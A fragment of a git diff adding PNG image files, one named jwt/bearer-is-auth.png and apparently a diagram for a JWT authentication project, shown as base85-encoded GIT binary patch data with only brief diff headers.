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 AHvj+t literal 0 HcmV?d00001 diff --git a/jwt/bearer-is-auth.png b/jwt/bearer-is-auth.png new file mode 100644 index 0000000000000000000000000000000000000000..3986e2bd4d251bf6c98bfac58cc45f137a3d4f1a GIT binary patch literal 58240 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 